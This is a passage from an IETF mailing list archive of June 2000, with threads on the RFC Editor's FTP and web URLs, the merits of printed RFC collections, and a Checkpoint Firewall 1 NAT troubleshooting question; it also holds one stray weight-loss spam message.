	by gungnir.fnal.gov (8.9.1/8.9.1) with ESMTP id RAA21567;
	Wed, 7 Jun 2000 17:13:03 -0500 (CDT)
Message-Id: <200006072213.RAA21567@gungnir.fnal.gov>
To: Bob Braden <braden@ISI.EDU>
Cc: ietf@ietf.org
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: Acronims' ambiquity 
In-reply-to: Your message of Wed, 07 Jun 2000 21:23:36 -0000.
             <200006072123.VAA26224@gra.isi.edu> 
Date: Wed, 07 Jun 2000 17:13:03 -0500
Sender: crawdad@gungnir.fnal.gov
X-Loop: ietf@ietf.org

>   *>  'RFC editor publishes' argument becomes less quibbly and arguably
>   *>  more futureproof.)
> 
> The RFC Editor agrees with the futureproofing, ...
> folks have them buried in scripts, and pragmatic continuity is more
> valuable to the IETF membership than quibbling.

In other words, it's easier to futureproof than to pastproof.



From owner-ietf-outbound  Wed Jun  7 19:01:31 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA22213
	for ietf-outbound.10@ietf.org; Wed, 7 Jun 2000 19:00:02 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@[131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA22137
	for <ietf@ietf.org>; Wed, 7 Jun 2000 18:54:00 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 12zohr-0006zm-00; Wed, 07 Jun 2000 23:53:51 +0100
Date: Wed, 7 Jun 2000 23:53:48 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: Matt Crawford <crawdad@fnal.gov>
cc: Bob Braden <braden@ISI.EDU>, ietf@ietf.org
Subject: Re: Acronims' ambiquity
In-Reply-To: <200006072213.RAA21567@gungnir.fnal.gov>
Message-ID: <Pine.GSO.4.21.0006072352390.3889-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Wed, 7 Jun 2000, Matt Crawford wrote:

> >   *>  'RFC editor publishes' argument becomes less quibbly and arguably
> >   *>  more futureproof.)
> > 
> > The RFC Editor agrees with the futureproofing, ...
> > folks have them buried in scripts, and pragmatic continuity is more
> > valuable to the IETF membership than quibbling.
> 
> In other words, it's easier to futureproof than to pastproof.

I strongly doubt that there are any scripts actually parsing the
www.rfc-editor.org webpages for instances of ftp.isi.edu.

L.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>



From owner-ietf-outbound  Thu Jun  8 11:00:41 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA09038
	for ietf-outbound.10@ietf.org; Thu, 8 Jun 2000 11:00:02 -0400 (EDT)
Received: from mail-gw.hursley.ibm.com (mail-gw.hursley.ibm.com [194.196.110.15])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA09007
	for <ietf@ietf.org>; Thu, 8 Jun 2000 10:59:21 -0400 (EDT)
Received: from sp3at21.hursley.ibm.com (sp3at21.hursley.ibm.com [9.20.45.21]) by mail-gw.hursley.ibm.com (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id PAA75814; Thu, 8 Jun 2000 15:58:46 +0100
Received: from hursley.ibm.com (gsine04.us.sine.ibm.com [9.14.6.44]) by sp3at21.hursley.ibm.com (AIX4.2/UCB 8.7/8.7.3) with ESMTP id PAA16372; Thu, 8 Jun 2000 15:58:44 +0100 (BST)
Message-ID: <393FB472.C8A2654A@hursley.ibm.com>
Date: Thu, 08 Jun 2000 09:57:54 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en,fr
MIME-Version: 1.0
To: L.Wood@eim.surrey.ac.uk
CC: ietf@ietf.org
Subject: Re: Acronims' ambiquity
References: <Pine.GSO.4.21.0006072352390.3889-100000@petra.ee.surrey.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Lloyd Wood wrote:
...
> I strongly doubt that there are any scripts actually parsing the
> www.rfc-editor.org webpages for instances of ftp.isi.edu.

Who said anything about parsing? There must be many scripts in the world
that start with something like this. You will notice the amount
of historical crud in there...

> #! /bin/sh
> # To tailor this script for local use:
> # 1) set DEST to a site  near you that houses RFCs.
> # 2) set pub  to the directory where you want to cache retreived RFCs
> # 3) change the "password" to your email address
> #
> # Usage:
> # rfc nnnn
> # fetches rfc nnnn.
> #
> # rfc -index
> # fetches an index of the RFC directory
> #
> # RFCs can be obtained via FTP from NIC.DDN.MIL, FTP.NISC.SRI.COM:rfc,
> # NIS.NSF.NET, NISC.JVNC.NET, VENERA.ISI.EDU, or WUARCHIVE.WUSTL.EDU.
> #
> #
> # Set DEST to the FTP site where rfcs are archived. Note that
> # different servers keep RFCs in different locations (tweak the FTP
> # commands below). Also, not all servers supply compressed
> # versions. :-(
> #
> DEST=venera.isi.edu
>                  
...

   Brian



From owner-ietf-outbound  Thu Jun  8 11:30:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA09691
	for ietf-outbound.10@ietf.org; Thu, 8 Jun 2000 11:30:02 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@[131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09567
	for <ietf@ietf.org>; Thu, 8 Jun 2000 11:23:03 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 130493-0006gU-00; Thu, 08 Jun 2000 16:22:57 +0100
Date: Thu, 8 Jun 2000 16:22:54 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: Brian E Carpenter <brian@hursley.ibm.com>
cc: ietf@ietf.org
Subject: Re: Acronims' ambiquity
In-Reply-To: <393FB472.C8A2654A@hursley.ibm.com>
Message-ID: <Pine.GSO.4.21.0006081616290.7684-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Thu, 8 Jun 2000, Brian E Carpenter wrote:

> Lloyd Wood wrote:
> ...
> > I strongly doubt that there are any scripts actually parsing the
> > www.rfc-editor.org webpages for instances of ftp.isi.edu.
> 
> Who said anything about parsing?

Whether the rfc-editor at http://www.rfc-editor.org/ appears to
publish its own RFCs using ftp.rfc-editor.org is entirely separate to 
the continued maintenance of ftp.isi.edu as an RFC mirror.

(I can't see why the rfc-editor webpages refer to isi urls when they
can now happily use ftp.rfc-editor.org urls, and I can't see that
change breaking any legacy stuff whatsoever.)

> There must be many scripts in the world
> that start with something like this. You will notice the amount
> of historical crud in there...

Red herring. Separate issue. unrelated.

L.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>

> > #! /bin/sh
> > # To tailor this script for local use:
> > # 1) set DEST to a site  near you that houses RFCs.
> > # 2) set pub  to the directory where you want to cache retreived RFCs
> > # 3) change the "password" to your email address
> > #
> > # Usage:
> > # rfc nnnn
> > # fetches rfc nnnn.
> > #
> > # rfc -index
> > # fetches an index of the RFC directory
> > #
> > # RFCs can be obtained via FTP from NIC.DDN.MIL, FTP.NISC.SRI.COM:rfc,
> > # NIS.NSF.NET, NISC.JVNC.NET, VENERA.ISI.EDU, or WUARCHIVE.WUSTL.EDU.
> > #
> > #
> > # Set DEST to the FTP site where rfcs are archived. Note that
> > # different servers keep RFCs in different locations (tweak the FTP
> > # commands below). Also, not all servers supply compressed
> > # versions. :-(
> > #
> > DEST=venera.isi.edu
> >                  
> ...
> 
>    Brian




From owner-ietf-outbound  Thu Jun  8 12:20:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA10914
	for ietf-outbound.10@ietf.org; Thu, 8 Jun 2000 12:20:02 -0400 (EDT)
Received: from mta5.rcsntx.swbell.net (mta5.rcsntx.swbell.net [151.164.30.29])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA10743
	for <ietf@ietf.org>; Thu, 8 Jun 2000 12:16:52 -0400 (EDT)
From: zainprov@swbell.net
Received: from zainprov ([207.193.24.81]) by mta5.rcsntx.swbell.net
 (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9)
 with SMTP id <0FVU00BB1FA6SN@mta5.rcsntx.swbell.net> for ietf@ietf.org; Thu,
 8 Jun 2000 11:05:09 -0500 (CDT)
Date: Thu, 08 Jun 2000 11:05:09 -0500 (CDT)
Date-warning: Date header was inserted by mta5.rcsntx.swbell.net
Subject: Shocking LOSE 10-100lbs. DESTINY
To: ietf@ietf.org
Message-id: <0FVU00BHSFCJSN@mta5.rcsntx.swbell.net>
MIME-version: 1.0
Content-type: text/plain; charset=unknown-8bit
X-Loop: ietf@ietf.org


Hello From Destiny,

You will LOOSE 20-100 pounds easy!
Do to Such a high demand for Destiny, we are able
To Dramatically reduce our price for the entire System!
You will LOVE our incredible offer on this
Scientific Breakthrough in Weight Loss.
Now with a 105% Money Back Guarantee!   
LOOK! http://home.swbell.net/zainprov/destiny.htm



We hope things are going well for you.  Good luck, God Bless, and 
HAVE A GREAT DAY!



Either you are someone else subscribed to our list.  To be removed
Simply reply with a blank email.  

Thank you,

Sherry Wilson



From owner-ietf-outbound  Thu Jun  8 14:30:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA13537
	for ietf-outbound.10@ietf.org; Thu, 8 Jun 2000 14:30:02 -0400 (EDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA13504
	for <ietf@ietf.org>; Thu, 8 Jun 2000 14:26:40 -0400 (EDT)
Received: from isi.edu (sci.isi.edu [128.9.160.93])
	by boreas.isi.edu (8.9.3/8.9.3) with ESMTP id LAA21536;
	Thu, 8 Jun 2000 11:26:35 -0700 (PDT)
Message-ID: <393FE547.A2B53727@isi.edu>
Date: Thu, 08 Jun 2000 11:26:15 -0700
From: Joe Touch <touch@ISI.EDU>
X-Mailer: Mozilla 4.73 [en] (Win98; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: Brian E Carpenter <brian@hursley.ibm.com>
CC: L.Wood@eim.surrey.ac.uk, Bob Braden <braden@ISI.EDU>, ietf@ietf.org,
        touch@ISI.EDU
Subject: Re: Acronims' ambiquity
References: <Pine.GSO.4.21.0006072050260.3889-100000@petra.ee.surrey.ac.uk> <393EBFDC.D81FA0D0@hursley.ibm.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit



Brian E Carpenter wrote:
> 
> Lloyd,
> 
> Just to review the actual facts one more time:
> 
> The IAB is responsible for the RFC-Editor function under its charter, RFC 2850.
> 
> At the IAB's request, the ISOC sub-contracted the RFC-Editor function to ISI.
> 
> At the IETF's request (RFC 2026), the ISOC holds copyright on RFCs to protect them
> against unauthorized modification. It has to be the ISOC, because the IETF
> itself is not incorporated.

Does this copyright predate RFC2026?

(seems that, at some point in the past, there was no overarching
authority who held copyright other than the authors ??)

Joe



From owner-ietf-outbound  Fri Jun  9 21:31:42 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA21060
	for ietf-outbound.10@ietf.org; Fri, 9 Jun 2000 21:30:02 -0400 (EDT)
Received: from mail1.digital.com (mail1.digital.com [204.123.2.50])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21032
	for <ietf@ietf.org>; Fri, 9 Jun 2000 21:29:29 -0400 (EDT)
Received: from pobox1.pa.dec.com (pobox1.pa.dec.com [16.1.240.19])
	by mail1.digital.com (8.9.2/8.9.3/WV2.0h) with SMTP id SAA24098;
	Fri, 9 Jun 2000 18:29:28 -0700 (PDT)
Received: from wera.pa.dec.com by pobox1.pa.dec.com (5.65v3.2/1.1.10.5/07Nov97-1157AM)
	id AA08005; Fri, 9 Jun 2000 18:29:24 -0700
Received: from localhost by wera.pa.dec.com; (8.8.8/1.1.8.2/06Jun96-0357PM)
	id SAA05586; Fri, 9 Jun 2000 18:29:24 -0700 (PDT)
From: Jeffrey Mogul <mogul@pa.dec.com>
Message-Id: <200006100129.SAA05586@wera.pa.dec.com>
To: pete@loshin.com (Pete Loshin)
Cc: mogul@pa.dec.com, ietf@ietf.org
Subject: Re: RFCs in print
Date: Fri, 09 Jun 2000 18:29:24 -0700
X-Mts: smtp
X-Loop: ietf@ietf.org

Pete Loshin writes:
    I am particularly interested in hearing about whether such
    collections are helpful or not. And if not, what would be more
    helpful.

    It is my belief that making these source documents available in
    print can only help those who need to understand them, provides a
    more convenient format for reference, helps novices avoid wasting
    time with obsolete specifications, and adds value with indexes
    across groups of RFCs as well as prefatory material that summarizes
    and puts the selected RFCs in perspective.

As the author or co-author of RFCs in several of your books, I
suppose I have some standing to comment on this.

Other people have raised the issue of equity.  I've always
believed that RFCs should be freely copyable, with no royalty or
permission requirements, although I don't think it's written
anywhere that you're *prohibited* from sending the RFC authors
some checks once in a while :-).

But I'm somewhat more concerned about the context created by the
books you've published.  Yes, there is some benefit to creating
an index (or indices) covering useful subsets of the RFCs ... not
that this couldn't have been done online, but it's value added,
of a sort.  (Although having the RFCs in a searchable format is
probably more valuable, is one of the main reasons why the IETF
insists on ASCII, and is available to anyone for free.)

One aspect of choosing a small subset of the thousands of extant
RFCs to put into a book is that the book-editor has applied some
sort of selection criteria.  This could have been valuable to
beginning RFC-readers.

But "RFC" does not mean "always an applicable standard."  I went
to the bookstore to actually look at the books, and as far as I
can tell, they include no guidance at all about whether a reader
should take the included RFCs seriously.  The answer is "not
always", and I fear that a naive reader could be misled by the
choices that have been made.

Two examples, both picking on myself:

    (1) In "Big Book of Internet Host Standards RFCs", you
    have included RFC950 (Internet Standard Subnetting
    Procedure).  Great, this is one of my favorite RFCs.
    But it's obsolete; it doesn't say anything at all about
    the current mechanism, Classless Inter-Domain Routing
    (CIDR) [RFC1519].  And some of the details in RFC950
    are in conflict with CIDR.  So I think it's a mistake
    (in the year 2000) to publish a book reprinting RFC950
    without warning the reader to learn about CIDR (which
    is not, as far as I could tell, mentioned in the
    book).

    I'm also not sure if naive readers should be presented
    with RFC922 (Broadcasting Internet Datagrams in the
    Presence of Subnets) as "essential information to learn
    exactly how to make [code] standards-compliant."

    (2) In "Big Book of World Wide Web RFCs", you have
    included RFC2227 (Simple Hit-Metering and
    Usage-Limiting for HTTP).  I still think this was a
    good technical design, but I've been forced to admit
    that it's not going to fly, for business and political
    reasons; at least, not any time soon.  I doubt anyone
    has a complete implementation, and I don't think it
    makes to imply that this RFC has an importance on the
    level of most (all?) of the other RFCs in the book.
    Unfortunately, the local bookstore didn't have a copy
    of this volume, and I'm not going to shell out $35 just
    to check whether you've warned readers about this RFC
    :-)

Additionally, if one simply fetches the current online
rfc-index.txt, each listed RFC is shown with its current IESG
"Status", and obsolete RFCs are so marked.  Once an RFC appears
in a printed book, however, it's hard to update its apparent
status.  So if/when, for example, RFC2616 (HTTP/1.1 Draft
Standard) is replaced by a new RFC at Full Standard status, how
is the reader of your book to know this?

I think printed books of RFCs could be valuable, but I would
really prefer to see such a book give much more explicit
guidance, both generic ("check a current online rfc-index.txt to
see what the document status is"), and specific ("RFC950 is
modified by RFC1519"; "RFC2227 is not used in practice").

-Jeff



From owner-ietf-outbound  Fri Jun  9 22:00:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA22208
	for ietf-outbound.10@ietf.org; Fri, 9 Jun 2000 22:00:02 -0400 (EDT)
Received: from mailman.cisco.com (mailman.cisco.com [171.68.225.9])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22155
	for <ietf@ietf.org>; Fri, 9 Jun 2000 21:52:15 -0400 (EDT)
Received: from bigger-dawgs.cisco.com (pferguso-isdn.cisco.com [171.70.114.134])
	by mailman.cisco.com (8.9.3/8.9.1) with ESMTP id SAA21479;
	Fri, 9 Jun 2000 18:48:23 -0700 (PDT)
Message-Id: <4.3.2.7.2.20000609214712.00aa92b0@lint.cisco.com>
X-Sender: pferguso@lint.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Fri, 09 Jun 2000 21:48:12 -0400
To: Jeffrey Mogul <mogul@PA.DEC.COM>
From: Paul Ferguson <ferguson@cisco.com>
Subject: Re: RFCs in print
Cc: ietf@ietf.org
In-Reply-To: <200006100129.SAA05586@wera.pa.dec.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 06:29 PM 06/09/2000 -0700, Jeffrey Mogul wrote:

>Other people have raised the issue of equity.  I've always
>believed that RFCs should be freely copyable, with no royalty or
>permission requirements,

[...]

Ditto.

As an author, I agree.

And as far as I'm concerned, RFC's are already "published".

- paul



From owner-ietf-outbound  Sat Jun 10 05:40:33 2000
Received: by ietf.org (8.9.1a/8.9.1a) id FAA07384
	for ietf-outbound.10@ietf.org; Sat, 10 Jun 2000 05:40:02 -0400 (EDT)
Received: from prd2000.adtdc.co.ae ([195.229.120.150])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA07356
	for <ietf@ietf.org>; Sat, 10 Jun 2000 05:31:23 -0400 (EDT)
Received: from noris ([195.229.120.141]) by prd2000.adtdc.co.ae
          (Netscape Messaging Server 3.01)  with SMTP id 227
          for <ietf@ietf.org>; Sun, 11 Jun 2000 01:26:27 +0400
Message-ID: <001201bfd2bd$e59803a0$1432a8c0@transco.co.ae>
From: "noor sayed" <noor@adtdc.co.ae>
To: <ietf@ietf.org>
Subject: NAT Checkpoint Firewall 1
Date: Sat, 10 Jun 2000 13:26:02 +0400
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000F_01BFD2DF.6C5BD1C0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_000F_01BFD2DF.6C5BD1C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi !

Installed Checkpoint Firewall 1 with three Network Interface.
One is connecting to the outside world, one to local-net and other to =
DMZ. (for Local-net and DMZ 192.168.xx.xx ip address has been used)
configured  the workstation properties of the mail server using static =
NAT.
i use the route add command on the fire wall machine for mapping the =
Private  IP address of the mail server to Public one.

PROBLEM

1) My mail server is on the Local-net From the firewall i cannot ping =
the mail server Private IP address (192.168.xx.xx), but i can ping the =
network interface connected to the local-net on the firewall machine . i =
cannot even ping the Public IP  address which i have map to the =
mail-srv.

2) My alternate DNS server is on the DMZ. which has an IP Address =
192.168.xx.xx. i can ping the Private IP address of the DNS server but =
not the Public IP Address which is mapped using the static NAT Rule.I =
have configured Route ADD command for mapping Public to Private IP =
Address.

3) On the Local-Net all the PC's are configured to surf the internet =
using HIDE Mode NAT to the External interface of the firewall its =
working fine.


If any one know where the problem is please let me know

Thank You

regards




------=_NextPart_000_000F_01BFD2DF.6C5BD1C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi !</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Installed Checkpoint Firewall 1 with =
three Network=20
Interface.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>One is connecting to the outside world, =
one to=20
local-net and other to DMZ. (for Local-net and DMZ 192.168.xx.xx ip =
address has=20
been used)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>configured  the workstation properties =
of the mail=20
server using static NAT.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>i use the route add command on the fire =
wall=20
machine for mapping the&nbsp;Private&nbsp; IP address of the mail server =
to=20
Public one.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#ff0000 face=3DArial size=3D2>PROBLEM</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#ff0000 face=3DArial size=3D2>1)&nbsp;My mail server =
is on the=20
Local-net From the firewall i cannot ping the mail server Private IP =
address=20
(192.168.xx.xx), but i can ping the network interface connected to the =
local-net=20
on the firewall machine . i cannot even ping the Public&nbsp;IP  address =
which i=20
have map to the mail-srv.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#ff0000 face=3DArial size=3D2>2) My alternate DNS =
server is on the=20
DMZ. which has an IP Address 192.168.xx.xx. i can ping the Private IP =
address of=20
the DNS server but not the Public IP Address which is mapped using the =
static=20
NAT Rule.I have configured Route ADD command for mapping Public to =
Private IP=20
Address.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT color=3D#ff0000 face=3DArial size=3D2>3) On the Local-Net =
all&nbsp;the PC's=20
are configured to surf the internet using HIDE Mode NAT to the External=20
interface of the firewall its working fine.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV></FONT></DIV>
<DIV><FONT color=3D#ff0000 face=3DArial size=3D2>If any one know where =
the problem is=20
please let me know</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#ff0000 face=3DArial size=3D2>Thank You</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#ff0000 face=3DArial size=3D2>regards</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_000F_01BFD2DF.6C5BD1C0--



From owner-ietf-outbound  Sat Jun 10 11:10:26 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA09106
	for ietf-outbound.10@ietf.org; Sat, 10 Jun 2000 11:10:02 -0400 (EDT)
Received: from diablo.cisco.com (diablo.cisco.com [171.68.224.210])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08979
	for <ietf@ietf.org>; Sat, 10 Jun 2000 11:00:44 -0400 (EDT)
Received: from localhost (ole@localhost) by diablo.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id HAA11381; Sat, 10 Jun 2000 07:59:39 -0700 (PDT)
Date: Sat, 10 Jun 2000 07:59:39 -0700 (PDT)
From: "Ole J. Jacobsen" <ole@cisco.com>
To: Jeffrey Mogul <mogul@PA.DEC.COM>
cc: Pete Loshin <pete@loshin.com>, The IETF <ietf@ietf.org>,
        Haruhisa Ishida <ishida@ASCII.CO.JP>
Subject: Re: RFCs in print
In-Reply-To: <200006100129.SAA05586@wera.pa.dec.com>
Message-ID: <Pine.HPX.4.02.10006100753400.7709-100000@diablo.cisco.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

A very fine example of such a book is "RFC Jitten" published in Japanese
by ASCII Corporation. It's as thick as your average phone book and
contains lots of illustrations, discussions and explanations. While my
Japanese certainly isn't up to writing a book review of this tome, it's
pretty clear that they did a really thorough job of putting stuff in
context. The book is dedicated to Jon Postel who wrote the foreword
shortly before he passed away.

Ole


Ole J. Jacobsen 
Editor and Publisher
The Internet Protocol Journal
Cisco Systems, Office of the CSO
Tel: +1 408-527-8972
e-mail: ole@cisco.com
URL: http://www.cisco.com/ipj

* See you at INET 2000, Yokohama, Japan July 18-21
  http://www.isoc.org/inet2000







From owner-ietf-outbound  Sat Jun 10 20:40:37 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA11609
	for ietf-outbound.10@ietf.org; Sat, 10 Jun 2000 20:40:02 -0400 (EDT)
Received: from s3networks.com ([161.58.229.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11585
	for <ietf@ietf.org>; Sat, 10 Jun 2000 20:35:29 -0400 (EDT)
Received: from 3y7if (rr-165-116-20.atl.mediaone.net [24.165.116.20]) by s3networks.com (8.8.8) id SAA33972; Sat, 10 Jun 2000 18:35:23 -0600 (MDT)
From: "Rod Cleveland" <rcleveland@s3networks.com>
To: "noor sayed" <noor@adtdc.co.ae>, <ietf@ietf.org>
Subject: RE: NAT Checkpoint Firewall 1
Date: Sat, 10 Jun 2000 20:37:25 -0500
Message-ID: <NEBBLJBDALJNDNCLFBIDMEMKCHAA.rcleveland@s3networks.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0002_01BFD31B.AF963DE0"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <001201bfd2bd$e59803a0$1432a8c0@transco.co.ae>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-Loop: ietf@ietf.org

This is a multi-part message in MIME format.

------=_NextPart_000_0002_01BFD31B.AF963DE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

I am not sure that this is the right answer.  However, I believe you need to
make sure you setup the proxy arp statement as illustrated on the Checkpoint
web page.

Rod Cleveland

rcleveland@S3Networks.com
Sr Consultant. S3Networks, www.S3Networks.com
CCNA, CCDA, CCSE, MCSE, IABM (I'm A Bad Man) <- just for fun
555 North Point Center East
3rd Floor
Atlanta, GA 30022



http://support.checkpoint.com/service/publisher.asp?id=55.0.4222079.2607206
  -----Original Message-----
  From: noor sayed [mailto:noor@adtdc.co.ae]
  Sent: Saturday, June 10, 2000 4:26 AM
  To: ietf@ietf.org
  Subject: NAT Checkpoint Firewall 1


  Hi !

  Installed Checkpoint Firewall 1 with three Network Interface.
  One is connecting to the outside world, one to local-net and other to DMZ.
(for Local-net and DMZ 192.168.xx.xx ip address has been used)
  configured the workstation properties of the mail server using static NAT.
  i use the route add command on the fire wall machine for mapping the
Private  IP address of the mail server to Public one.

  PROBLEM

  1) My mail server is on the Local-net From the firewall i cannot ping the
mail server Private IP address (192.168.xx.xx), but i can ping the network
interface connected to the local-net on the firewall machine . i cannot even
ping the Public IP address which i have map to the mail-srv.

  2) My alternate DNS server is on the DMZ. which has an IP Address
192.168.xx.xx. i can ping the Private IP address of the DNS server but not
the Public IP Address which is mapped using the static NAT Rule.I have
configured Route ADD command for mapping Public to Private IP Address.

  3) On the Local-Net all the PC's are configured to surf the internet using
HIDE Mode NAT to the External interface of the firewall its working fine.


  If any one know where the problem is please let me know

  Thank You

  regards




------=_NextPart_000_0002_01BFD31B.AF963DE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D600013101-11062000>I am=20
not sure that this is the right answer.&nbsp; However, I believe you =
need to=20
make sure you setup the proxy arp statement as illustrated on the =
Checkpoint web=20
page.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D600013101-11062000></SPAN></FONT>&nbsp;</DIV>
<DIV><SPAN class=3D600013101-11062000>
<P><FONT color=3D#0000ff><FONT face=3DArial size=3D2>Rod Cleveland =
</FONT></FONT></P>
<P><SPAN class=3D600013101-11062000></SPAN><FONT color=3D#0000ff =
face=3DArial=20
size=3D2><A href=3D"mailto:rcleveland@S3Networks.com">r<SPAN=20
class=3D600013101-11062000>cleveland@S3Networks.com</A></SPAN><BR>Sr =
Consultant.=20
S3Networks, <A href=3D"http://www.S3Networks">www.S3Networks</A>.com =
<BR>CCNA,=20
CCDA, CCSE, MCSE, IABM (I'm A Bad Man) &lt;- just for fun <BR>555 North =
Point=20
Center East <BR>3rd Floor <BR>Atlanta, GA 30022 =
<BR></FONT></P></SPAN></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D600013101-11062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D600013101-11062000><A=20
href=3D"http://support.checkpoint.com/service/publisher.asp?id=3D55.0.422=
2079.2607206">http://support.checkpoint.com/service/publisher.asp?id=3D55=
.0.4222079.2607206</A></SPAN></FONT></DIV>
<BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> noor sayed=20
